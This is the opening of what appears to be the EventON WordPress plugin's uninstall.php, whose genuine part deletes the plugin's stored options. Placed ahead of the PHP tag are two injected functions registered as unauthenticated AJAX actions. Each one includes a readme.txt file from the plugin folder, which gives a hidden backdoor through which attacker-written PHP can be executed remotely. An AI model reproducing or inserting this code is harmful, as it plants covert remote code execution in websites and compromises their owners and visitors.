if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php /** * EventON Uninstall * * Uninstalling EventON deletes everything. * * @author AJDE * @category Core * @package EventON/Uninstaller * @version 1.1 */ if( !defined('WP_UNINSTALL_PLUGIN') ) exit(); $evo_opt = get_option('evcal_options_evcal_1'); // If options have been stored, and 'evo_donot_delete' is equal to 'yes' - exit. if(!empty($evo_opt['evo_donot_delete']) && $evo_opt['evo_donot_delete']=='yes') exit(); global $wpdb, $wp_roles; // Delete options $wpdb->query("DELETE FROM $wpdb->options WHERE option_name LIKE '%evcal_%' OR option_name LIKE '%_evo_%' OR option_name LIKE '%eventon_%';");